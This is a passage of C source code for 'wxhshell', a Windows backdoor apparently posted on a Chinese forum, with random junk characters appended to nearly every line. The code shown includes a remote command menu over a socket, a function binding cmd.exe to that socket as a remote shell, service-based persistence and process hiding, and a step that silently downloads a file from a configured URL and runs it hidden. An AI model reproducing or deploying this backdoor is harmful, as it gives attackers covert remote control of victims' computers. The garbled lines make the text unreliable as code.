  // 帮助 ,j wU\xo`C  
  case '?': { !}wJ+R ^2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o Xwoi!  
    break; $2E n^  
  } A+%oE  
  // 安装 .{D[!Dp#h  
  case 'i': { C 5QPt  
    if(Install()) K[RlR+j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -e#YWMo(  
    else "~x\bSY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }h<\qvCcU  
    break; 3/8o)9f.  
    } ]k Ls2? \  
  // 卸载 6'W79  
  case 'r': { 6N(Wv0b $  
    if(Uninstall()) Hno@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7k{Oae\$  
    else j>~^jz:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >XP]NY}Po[  
    break; a$Eqe_  
    } Mt)~:V+:  
  // 显示 wxhshell 所在路径 -xq)brG  
  case 'p': { P(G$@},W  
    char svExeFile[MAX_PATH]; i_ws*7B<  
    strcpy(svExeFile,"\n\r"); uRG0} >]|U  
      strcat(svExeFile,ExeFile); Gxv@a   
        send(wsh,svExeFile,strlen(svExeFile),0); x P{L%.  
    break; {'Nvs_{6  
    } STu!v5XY}-  
  // 重启 +B^ / =3P  
  case 'b': { /s& xI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {U(-cdU{e`  
    if(Boot(REBOOT)) dluNA(Xc-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J]i=SX+ 9  
    else { 5%D:w S1  
    closesocket(wsh); 6FG h=~{3,  
    ExitThread(0); K"Vv=  
    } aKS 2p3   
    break; 'p-jMD}O  
    } 4q[C' J  
  // 关机 w=d#y )1  
  case 'd': { mbv\Gn#>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w/KHS#~  
    if(Boot(SHUTDOWN)) ,WA7Kp9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '#$% f  
    else { B1c`(mHl  
    closesocket(wsh); 3 1KMn  
    ExitThread(0); !uLAW_~  
    } X}p#9^%N  
    break; ZH/^``[.  
    } [&t3xC,  
  // 获取shell 2G:)27Q-  
  case 's': { soW.  
    CmdShell(wsh); Z"'rc.>a  
    closesocket(wsh); nH}api^0A  
    ExitThread(0); 5tHv'@  
    break; pSkP8'  ?  
  } "5%G [MB  
  // 退出 LP_d}ve  
  case 'x': { |xQG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !1+L0,I6  
    CloseIt(wsh); l"RX`N@In  
    break; *$/7;CLq  
    } l>h%J,W  
  // 离开 }Xyu" P  
  case 'q': { 2/=CrK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hD{+V!{  
    closesocket(wsh); {=IK(H  
    WSACleanup(); #9EpQc[4  
    exit(1); E:xpma1Qf  
    break; $5yS`Iq S  
        } WqqrfzlM  
  } ySP1WK  
  } 0z&3jWWY@  
#!rng]p  
  // 提示信息 | ctGxS9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \hQ[5>  
} wfM$JYfI  
  } +`kfcA#pi  
sn_]7d+ Q  
  return; ()JM161  
} T9KzVxHp5  
;5=J'8f  
// shell模块句柄 ?(Dkh${@  
int CmdShell(SOCKET sock) 7A8jnq7m/  
{ 6(sqS~D  
STARTUPINFO si; L{bcmo\U  
ZeroMemory(&si,sizeof(si)); -Vn9YeH+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *6e`km  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CY)/1 # J  
PROCESS_INFORMATION ProcessInfo; dn$1OhN8M  
char cmdline[]="cmd"; mC n,I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tq}sXt  
  return 0; $Eg|Qc-1  
} z!)_'A  
8/U=~*` _  
// 自身启动模式 '{\VO U  
int StartFromService(void) />Tyiy]2uu  
{ 7]d396%  
typedef struct ul/=1]1?  
{ /S$p_7N  
  DWORD ExitStatus; (u@[}!  
  DWORD PebBaseAddress; W tnZF]1:u  
  DWORD AffinityMask; S9 <J \`FG  
  DWORD BasePriority; S h=E.!  
  ULONG UniqueProcessId; I$\dT1m$  
  ULONG InheritedFromUniqueProcessId; y AU[A  
}   PROCESS_BASIC_INFORMATION; 2JYp.CJv  
pM@|P,w {  
PROCNTQSIP NtQueryInformationProcess; S6h=} V )  
a~Sf~ka  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gq*- v:P>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m}T^rX%m_  
hc5M)0d  
  HANDLE             hProcess; 'C1=(PE%`  
  PROCESS_BASIC_INFORMATION pbi; j.uN`cU!  
'(5 &Sj/C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @(JcM=  
  if(NULL == hInst ) return 0; oylY1~~}0K  
A,W-=TC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CCDoiTu!4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <t,uj.9_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `FH Hh  
a^ <  
  if (!NtQueryInformationProcess) return 0; U/>f" F  
-9~kp'_a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iJ~5A'?6  
  if(!hProcess) return 0; 8JAA?0L"'  
LZMdW #,[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p.n]y=o.)  
FAjO-T4(  
  CloseHandle(hProcess); VQZ3&]o  
|A8Ar7)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $lOx 6rL  
if(hProcess==NULL) return 0; b,Ed}Ir  
f~jx2?W  
HMODULE hMod; Gnj;=f  
char procName[255]; tE]g*]o  
unsigned long cbNeeded; *qAF#  
?g}n$%*5y!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i/Q*AG>b  
_{8f^@I"+  
  CloseHandle(hProcess); `4.Wdi-Si  
7OS\j>hb~  
if(strstr(procName,"services")) return 1; // 以服务启动 q#pBlJ.LK  
?Mp~^sgp'  
  return 0; // 注册表启动 !3DWz6u  
} U; ?%rM6  
LbJ tU !  
// 主模块 ~q?IG5s*Z  
int StartWxhshell(LPSTR lpCmdLine) 0Tp?ED_  
{ -3/:Dk`3  
  SOCKET wsl; _c['_HC  
BOOL val=TRUE; }zj w\  
  int port=0; r6Lb0PzMf  
  struct sockaddr_in door; Ig'Y]%Z0  
doBfpQ2  
  if(wscfg.ws_autoins) Install(); o$\ {&:y  
?|%^'(U}  
port=atoi(lpCmdLine); /R''R:j  
 / >Wh  
if(port<=0) port=wscfg.ws_port; N;F1Z-9  
J{@gp,&e  
  WSADATA data; H.7gSB1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .lb2`!'r&  
:t(gD8;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    uw LT$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b5_A*-s$M  
  door.sin_family = AF_INET; :u'X ~ID[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :)c >5  
  door.sin_port = htons(port); 76c4~IG#  
Gu V -[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $9y]>R  
closesocket(wsl); Nn ?BD4i  
return 1; N$/{f2iC  
} NSOWn]E  
BgA\l+  
  if(listen(wsl,2) == INVALID_SOCKET) { HLN rI0  
closesocket(wsl); U# -&%|b$  
return 1;  )"&-vg<  
} LOX[h$  
  Wxhshell(wsl); mppBc-#EYr  
  WSACleanup(); |^S[Gr w  
x-nwo:OA  
return 0; iEr|?,  
DA]!ndJD  
} 69cOdIt^D  
[=Np.:Y%  
// 以NT服务方式启动 "h7Z(Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q&MZ/Nnf  
{ H5,{Z  
DWORD   status = 0; #Jy+:|jJ  
  DWORD   specificError = 0xfffffff; /_*:  
q .tVNKy%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w6Dysg:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [^"e~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L0UAS'hf  
  serviceStatus.dwWin32ExitCode     = 0; -njxc{b  
  serviceStatus.dwServiceSpecificExitCode = 0; vO]gj/SaT  
  serviceStatus.dwCheckPoint       = 0; R{#-IH="  
  serviceStatus.dwWaitHint       = 0; UldKlQ8  
vW"x)~B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }C/}8<  
  if (hServiceStatusHandle==0) return; plsf` a  
l2 gI2Cioa  
status = GetLastError(); L^RyJ;^c  
  if (status!=NO_ERROR) `*KS` z?  
{ >6 :slNM#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bLCrh(<  
    serviceStatus.dwCheckPoint       = 0; WN>.+qM~8  
    serviceStatus.dwWaitHint       = 0; 5irewh'R  
    serviceStatus.dwWin32ExitCode     = status; ) OZDq]mV  
    serviceStatus.dwServiceSpecificExitCode = specificError; pJ+>qy5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g[8V fIe  
    return; 5f/[HO)  
  } :7W5R  
s<E_74q1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I}n"6'*  
  serviceStatus.dwCheckPoint       = 0; b7aAP*$  
  serviceStatus.dwWaitHint       = 0; /P^@dL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vn];vN  
} VY=~cVkzS  
GY@Np^>[a  
// 处理NT服务事件,比如:启动、停止 9rn!U2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @F=ZGmq  
{ 8}xU]N#EV  
switch(fdwControl) 2J9eeN  
{ S]<G|mn,  
case SERVICE_CONTROL_STOP: hh+GW*'~  
  serviceStatus.dwWin32ExitCode = 0; ~>>o'H6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tI.(+-q  
  serviceStatus.dwCheckPoint   = 0; g|)e3q{M  
  serviceStatus.dwWaitHint     = 0; (niZN_qv  
  { 9^igzRn0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nqgfAQsE)  
  } w V;y]'  
  return; ?B@hCd)  
case SERVICE_CONTROL_PAUSE: 8 Sl[&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `'0opoQRe  
  break; #0!C3it6c  
case SERVICE_CONTROL_CONTINUE: wKk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !Z%QD\knY  
  break; Rv.W~FE^  
case SERVICE_CONTROL_INTERROGATE: MAJvjgd ..  
  break; '? yZ,t  
}; @VxBURZ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G<Lm}  
} p&vQ* }  
1;? L:A  
// 标准应用程序主函数 S:Yo9~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H#w?$?nIWu  
{ =%2 E|/  
^,U&v;   
// 获取操作系统版本 }pTw$B  
OsIsNt=GetOsVer(); ^$?8!WE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `e`4[I  
 ~ikTo -  
  // 从命令行安装 1/HPcCsHb  
  if(strpbrk(lpCmdLine,"iI")) Install(); Sn0?_vH4  
61jDI^:  
  // 下载执行文件 T,WWQm  
if(wscfg.ws_downexe) { 2$T~(tem  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rw$ @%o%  
  WinExec(wscfg.ws_filenam,SW_HIDE); azE>uEsE  
} /JveN8L%  
{K[+nX =#  
if(!OsIsNt) { r9*{)"  
// 如果时win9x,隐藏进程并且设置为注册表启动 0;k3  
HideProc(); 3`, m=1[)  
StartWxhshell(lpCmdLine); 5O*+5n  
} @B&hR} 4  
else K"g[%O<  
  if(StartFromService()) V!ajD!00  
  // 以服务方式启动 aQRZyE}  
  StartServiceCtrlDispatcher(DispatchTable); x;b'y4kH  
else v- {kPc=:#  
  // 普通方式启动 *&5G+d2  
  StartWxhshell(lpCmdLine); 0 _&oMPY  
@]2cL  
return 0; F6q}(+9i  
}
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只看该作者 1 发表于: 2006-10-10
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